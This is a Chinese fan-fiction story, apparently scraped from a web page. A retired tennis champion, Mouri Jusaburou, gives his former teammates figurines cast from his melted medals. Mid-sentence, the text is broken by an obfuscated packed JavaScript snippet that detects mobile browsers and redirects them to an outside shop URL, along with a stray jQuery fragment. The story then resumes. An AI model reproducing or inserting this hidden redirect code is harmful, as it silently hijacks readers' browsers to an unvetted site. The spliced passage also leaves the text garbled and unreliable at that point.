“Game,set and match,毛利寿三郎,6-2,5-7,6-4,7-5!”

    “恭喜毛利寿三郎获得美国网球公开赛总冠军!”

    伴随着铺天盖地的恭贺通稿发布的,还有毛利寿三郎的退役消息。

    爆了大料之后趁着记者们没回过神急忙跑路的毛利寿三郎,在坐上车后终于松了一口气,夸张的拍着胸脯嘟囔着“好多记者吓死人了。”

    经纪人在旁边没忍住轻笑一声,毫不客气地拍了拍他的脑袋。

    “还不是因为你在这个关头直接宣布退役,刚拿下大满贯就跑路的除了你还有谁啊?”

    毛利寿三郎哼哼唧唧一阵,头一歪睡着了。

    梦里,他仿佛又回到了十年前的冬日。

    十年前,应越知月光的邀约,对于未来没什么规划的毛利寿三郎一脚踏进职业赛场的大门。

    他们在男双赛场拼搏了五年。

    从最开始的查无此人,到后来十六强、八强、四强,乃至冠军,越知月光和毛利寿三郎用了近四年。

    直到越知月光告诉毛利寿三郎,家里催促着让他回去接手自家产业时,两个人做了个极其大胆的决定。

    男双的最后一年,他们接连参加了澳网法网温网和美网,经过层层厮杀,如愿拿下双打的大满贯。

    越知月光宣布退役,带着荣耀归国,接手家族产业。而毛利寿三郎想了很久,本也想退役的,却被一条消息绊住了脚步。

    等他赶到疗养院时,只看到切原赤也浑身贴着监测仪器,裸露的四肢缠绕着密密麻麻的绷带,正抱着幸村精市的腰哭的几乎喘不上气。

    毛利寿三郎愣在了门口,听着切原赤也的“忏悔”,说不清心里到底什么滋味。

    医生宣判了切原赤也职业生涯的死刑,面对着再剧烈运动很有可能危及生命的警告,看着家人和前辈们眼中的担忧,切原赤也还是选择了退役。

    作出决定时的切原赤也看似洒脱,但毛利寿三郎意外看到了他攥着他拼命赢来的金牌默然垂泪。

    他说“我还没有获得大满贯”,他说“我还没有成为世界第一”,他说“我不甘心”……

    毛利寿三郎最终做了决定。

    在步入新领域奋斗之前,他又一次去疗养院看望切原赤也,如往常一般揉乱他的头发,什么都没说,只让他等着看前辈的厉害。

    21岁,毛利寿三郎正式转型男单。

    起初他真的很不适应,习惯了越知月光在背后给他兜底,再回到单打赛场上总觉得哪哪都不对劲。

    宣告转型、重新训练、再次参赛。历史仿佛重演,毛利寿三郎依旧是从单打中查无此人,到十六强、八强、四强、亚军,最后是冠军。

    他靠着双打赛场上磨砺出来的经验加快了这个进程,这次只用了两年,他在越前龙马、远山金太郎和其他各国强敌的围剿下再次登顶。

    这之后他开始尝试一次性参加多个赛事。

    24岁一冠一亚一季,25岁双冠双亚,26岁大满贯。

    十六岁到二十六岁,十年的时间,他在职业赛场上留下了太多精彩瞬间,但也真的很累。

    在达成他的目标后,毛利寿三郎果断选择了退役。“

    等到他处理完后续事宜,坐飞机回到家时,已经到了年末。

    倒完时差后,他第一时间去拜访了切原赤也家。

    切原赤也退役后回了国继续学业,毛利寿三郎趁着他发祝贺消息时问了他最近的安排和所在的地址。

    切原赤也还是那个对前辈毫无戒心的傻白甜,毛利寿三郎一问他就说了,然后在群里聊天时又被仁王雅治套话套了出来。

    于是,等毛利寿三郎慢悠悠来到切原赤也的小公寓时,一打开门看到的就是七双水灵灵的大眼睛和一个眯眯眼。

    “……诶?你们都在啊。”

    “好久不见,毛利前辈。”

    几人纷纷打着招呼,毛利寿三郎胡乱点点头,也不在意这些虚礼。

    “嗯嗯好久不见,还好我把给你们的礼物全带上了诶,不用再跑一趟了。”

    一边说着,毛利寿三郎一边在背包里掏东西。

    祖母绿色的礼盒塞给了切原赤也,蓝紫色的给了幸村精市,黑色的给了真田弦一郎,银白色的给了仁王雅治,紫色的给了柳生比吕士,浅蓝色的给了柳莲二,红色的给了丸井文太,棕褐色的给了杰克桑原。

    “好了,快打开看看,小赤也你一定会喜欢的!”

    切原赤也肉眼可见的眼睛发亮,迫不及待的拆了盒子,映入眼帘的是一个小小的,金色的小人手办。

    小人的头发卷卷的,眼睛的位置上是两个小小的绿色玉石,两手举着奖杯,脸上是意气风发的笑。

    最主要的是,小人的面容完全是切原赤也的翻版。

    “诶?这是我?”

    “对哦~是小赤也哟。我把大满贯的金牌融了,为了等它做好才回来的这么晚。”

    切原赤也猛的抬头,嘴唇动了动似乎想说什么,毛利寿三郎大手一抬按住他的脑袋,把他到嘴边的话按了回去,顺手揉了两下。

    “小赤也不是很想拿大满贯吗?现在它是你的了。前辈当初在疗养院答应你的事可是做到了哦?”

    “诶诶诶,小赤也别哭啊!”

    礼物还没完全拆开的几人见状,和毛利寿三郎手忙脚乱地哄自家眼泪汪汪的老幺。

    等切原赤也情绪平复,又兴致勃勃的凑到其他人那里准备围观。

    幸村精市他们多多少少猜到了礼物的全貌,一个接一个拆开礼物盒。

    果不其然,每个人手里都多了一个小小的、金灿灿的、自己形象的小手办。

    不过……

    “好像不是纯正的金色?”

    切原·最没心眼的·傻白甜·赤也率先发问,毛利寿三郎点了点头,没否认,一个一个解释。

    “小仁王、小柳生、小丸井、小桑园你们四个的是双打奖牌……不过金牌不够了所以掺了银牌铜牌什么的,比如小仁王那个银色的头发,还有小桑园脸

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577753|205041||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上和四肢的皮肤部分。”

    “小柳、小真田的也是有掺银牌铜牌的,不过是单打奖牌。”

    “嗯……小部长的没掺,金灿灿的好看……”

    感性如丸井、桑园早已泪眼汪汪,冷静如幸村、仁王等人眼中也满是动容。

    还没等他们说什么,毛利寿三郎反手又掏出一个小毛利,把他们的小手办一个个都“抢”了过来放在桌上,找角度摆摆摆。

    “看!有小彩蛋哦!”

    毛利寿三郎抬手一指,几人闻言看过来,目光中又几分怔忪。

    分则各式各样的小手办凑在一起,恰好组成了他们国二那年夺得全国大赛的合照,除了换成切原赤也捧杯以外没有其他区别。

    丸井文太的眼泪彻底收不住了,抽噎着“指责”毛利寿三郎来这里就是为了让他哭的,杰克桑原流着眼泪、咬着手帕胡乱点头,切原赤也又红了眼眶随声附和。

    另一边,幸村精市眨了眨眼,散掉眼中的泪意;真田弦一郎压了压帽子,看不清脸上的神色;柳莲二弯了弯唇,眯着的眼睛彻底闭上了;仁王雅治揪揪辫子,身体后仰,脑袋抬起搭在沙发靠背;柳生比吕士推推眼镜,遮挡住满目情绪……

    “谢谢,毛利前辈。”

    幸村精市笑的温柔,披着外套的模样依稀和少年时代重合。

    少年们凑在一起嘀嘀咕咕着商量,最终决定把小手办们放在一起,安放在切原赤也卧室的展示柜里。

    切原赤也郑重的将他们摆在正中间。

    九人聊了一阵,在丸井文太和切原赤也肚子咕咕叫的人时候相视一笑,跑去曾经经常聚餐的烤肉店大吃一顿。

    见时间还早,在仁王雅治的提议下,九人又浩浩荡荡的前往神社参拜。

    毛利寿三郎参拜结束后,率先走出去,挑挑拣拣着买了绘马。

    临近落笔时他又有些犹豫,反复提笔又放下,几次之后,他还是没写任何东西,只将它挂了上去。

    幸村精市从旁边走了过来,几乎是看完了全程。他歪了歪头,指尖轻轻触碰了一下那个空白的绘马。

    “毛利前辈,怎么不写些愿望?”

    “……”毛利寿三郎沉默片刻,笑道:“我目前没什么愿望,真要说的话……”

    他侧目看向幸村精市,突然发觉他瘦了很多。

    并非曾经那样具有爆发力的劲瘦,而是一种,病态的白、脆弱的仿佛一阵风就能折断的瘦。

    毛利寿三郎揉了揉头发,看着随风晃动的绘马,曾经被他强行压下的满腔情绪突然席卷而上。

    “如果能回到过去就好了……”至少,当初在小后辈们最无助的那段时间,他能帮他们撑一下就好了,也不至于……

    “嗯?”

    毛利寿三郎声音太小,又太过飘忽,幸村精市没听太清楚。

    他没解释,笑了笑,抬手揉了揉幸村精市的头发,只道“走吧”。

    两人转身相伴离去,身后的绘马动了动,却本无风。

    恍惚间,似有一串铃响。